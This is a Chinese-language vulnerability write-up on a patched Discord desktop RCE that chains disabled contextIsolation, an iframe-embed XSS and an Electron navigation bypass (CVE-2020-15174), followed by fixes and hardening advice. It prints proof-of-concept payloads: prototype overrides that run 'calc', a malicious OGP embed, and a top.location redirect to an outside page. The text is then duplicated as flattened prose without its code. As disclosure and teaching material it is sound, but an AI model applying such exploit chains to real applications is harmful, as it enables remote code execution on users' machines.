挖洞经验 | 综合三个Bug实现Discord桌面应用RCE漏洞
字数 1747 2025-08-15 21:32:22

Discord桌面应用RCE漏洞分析与利用教学

漏洞概述

本教学文档详细分析Discord桌面应用中发现的远程代码执行(RCE)漏洞,该漏洞通过综合利用三个独立的安全缺陷实现。漏洞发现者因此获得了总计$5,300的奖励。

漏洞背景

Discord是一款基于Electron架构开发的即时通信软件,覆盖Windows、MacOS、Android、iOS等多个平台。Electron架构因其允许使用Web技术开发桌面应用而流行,但也带来了特有的安全挑战。

漏洞组成

该RCE漏洞由以下三个安全缺陷组合利用实现:

1. Missing contextIsolation (上下文隔离未启用)

问题描述
Discord的BrowserWindow配置中禁用了contextIsolation功能,导致Web页面中的JavaScript可以影响Electron内部渲染时的JS代码和预加载脚本执行。

关键代码片段

const mainWindowOptions = {
  webPreferences: {
    nodeIntegration: false,
    contextIsolation: false, // 关键安全配置缺失
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    // 其他配置...
  }
};

利用原理

  • contextIsolation为false时,Web页面JS可以覆盖Electron内置JS方法
  • 即使nodeIntegration为false,通过方法覆盖仍可间接访问Node.js功能
  • 通过覆盖RegExp.prototype.testArray.prototype.join方法,可以干扰模块执行路径

PoC代码

RegExp.prototype.test=function(){return false;}
Array.prototype.join=function(){return "calc";}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

影响

  • 可以执行任意系统命令
  • 在Windows系统上可启动计算器程序(calc.exe)

2. XSS in iframe embeds (iframe嵌入功能中的XSS)

问题描述
Discord支持通过Open Graph Protocol(OGP)嵌入第三方内容,其中sketchfab.com域名的iframe嵌入存在DOM-based XSS漏洞。

利用方法

  • 构造恶意OGP协议的HTML页面
  • 通过Discord聊天发送包含该页面的链接
  • 当用户点击链接时触发XSS

PoC示例

<head>
  <meta property="og:title" content="RCE DEMO">
  <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
  <meta property="og:video:type" content="text/html">
</head>

限制

  • XSS仅在iframe上下文中执行
  • 需要结合其他漏洞突破iframe限制

3. Navigation restriction bypass (导航限制功能绕过, CVE-2020-15174)

问题描述
Electron的"will-navigate"事件对iframe导航的限制存在缺陷,当顶部导航和iframe属于不同域时,导航限制会被绕过。

关键代码

mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

利用方法

  • 从iframe中导航到顶层窗口
  • 结合XSS执行跨域导航
  • 突破iframe限制执行主窗口中的恶意代码

PoC代码

top.location="//l0.cm/discord_calc.html"

漏洞组合利用流程

  1. 初始访问:攻击者通过Discord聊天发送恶意OGP链接
  2. XSS触发:受害者点击链接,触发sketchfab.com域名的iframe XSS
  3. 导航绕过:利用CVE-2020-15174从iframe导航到攻击者控制的页面
  4. 上下文隔离绕过:在新页面中覆盖内置JS方法
  5. Node.js功能访问:通过方法覆盖干扰模块执行路径
  6. 命令执行:最终执行系统命令实现RCE

漏洞修复方案

Discord安全团队采取了以下修复措施:

  1. 禁用sketchfab.com的嵌入功能
  2. 在iframe中启用沙箱功能防止导航限制绕过
  3. 启用contextIsolation配置
  4. 更新Electron版本修复CVE-2020-15174

防御建议

基于此案例,开发Electron应用时应:

  1. 启用上下文隔离:始终设置contextIsolation: true
  2. 禁用Node.js集成:除非必要,否则设置nodeIntegration: false
  3. 严格限制iframe嵌入:谨慎审核允许嵌入的第三方内容
  4. 实施严格的CSP策略:限制脚本执行来源
  5. 及时更新Electron:修复已知的安全漏洞
  6. 沙箱化不可信内容:对第三方内容使用沙箱iframe

参考资源

  1. Electron安全公告GHSA-2q4g-w47c-4674
  2. Electron上下文隔离技术细节
  3. CVE-2020-15174详细信息

通过本案例的分析,我们可以深入了解Electron应用的安全风险以及如何通过深度防御策略保护应用安全。

Discord桌面应用RCE漏洞分析与利用教学 漏洞概述 本教学文档详细分析Discord桌面应用中发现的远程代码执行(RCE)漏洞,该漏洞通过综合利用三个独立的安全缺陷实现。漏洞发现者因此获得了总计$5,300的奖励。 漏洞背景 Discord是一款基于Electron架构开发的即时通信软件,覆盖Windows、MacOS、Android、iOS等多个平台。Electron架构因其允许使用Web技术开发桌面应用而流行,但也带来了特有的安全挑战。 漏洞组成 该RCE漏洞由以下三个安全缺陷组合利用实现: 1. Missing contextIsolation (上下文隔离未启用) 问题描述 : Discord的BrowserWindow配置中禁用了contextIsolation功能,导致Web页面中的JavaScript可以影响Electron内部渲染时的JS代码和预加载脚本执行。 关键代码片段 : 利用原理 : 当 contextIsolation 为false时,Web页面JS可以覆盖Electron内置JS方法 即使 nodeIntegration 为false,通过方法覆盖仍可间接访问Node.js功能 通过覆盖 RegExp.prototype.test 和 Array.prototype.join 方法,可以干扰模块执行路径 PoC代码 : 影响 : 可以执行任意系统命令 在Windows系统上可启动计算器程序(calc.exe) 2. XSS in iframe embeds (iframe嵌入功能中的XSS) 问题描述 : Discord支持通过Open Graph Protocol(OGP)嵌入第三方内容,其中sketchfab.com域名的iframe嵌入存在DOM-based XSS漏洞。 利用方法 : 构造恶意OGP协议的HTML页面 通过Discord聊天发送包含该页面的链接 当用户点击链接时触发XSS PoC示例 : 限制 : XSS仅在iframe上下文中执行 需要结合其他漏洞突破iframe限制 3. Navigation restriction bypass (导航限制功能绕过, CVE-2020-15174) 问题描述 : Electron的"will-navigate"事件对iframe导航的限制存在缺陷,当顶部导航和iframe属于不同域时,导航限制会被绕过。 关键代码 : 利用方法 : 从iframe中导航到顶层窗口 结合XSS执行跨域导航 突破iframe限制执行主窗口中的恶意代码 PoC代码 : 漏洞组合利用流程 初始访问 :攻击者通过Discord聊天发送恶意OGP链接 XSS触发 :受害者点击链接,触发sketchfab.com域名的iframe XSS 导航绕过 :利用CVE-2020-15174从iframe导航到攻击者控制的页面 上下文隔离绕过 :在新页面中覆盖内置JS方法 Node.js功能访问 :通过方法覆盖干扰模块执行路径 命令执行 :最终执行系统命令实现RCE 漏洞修复方案 Discord安全团队采取了以下修复措施: 禁用sketchfab.com的嵌入功能 在iframe中启用沙箱功能防止导航限制绕过 启用 contextIsolation 配置 更新Electron版本修复CVE-2020-15174 防御建议 基于此案例,开发Electron应用时应: 启用上下文隔离 :始终设置 contextIsolation: true 禁用Node.js集成 :除非必要,否则设置 nodeIntegration: false 严格限制iframe嵌入 :谨慎审核允许嵌入的第三方内容 实施严格的CSP策略 :限制脚本执行来源 及时更新Electron :修复已知的安全漏洞 沙箱化不可信内容 :对第三方内容使用沙箱iframe 参考资源 Electron安全公告GHSA-2q4g-w47c-4674 Electron上下文隔离技术细节 CVE-2020-15174详细信息 通过本案例的分析,我们可以深入了解Electron应用的安全风险以及如何通过深度防御策略保护应用安全。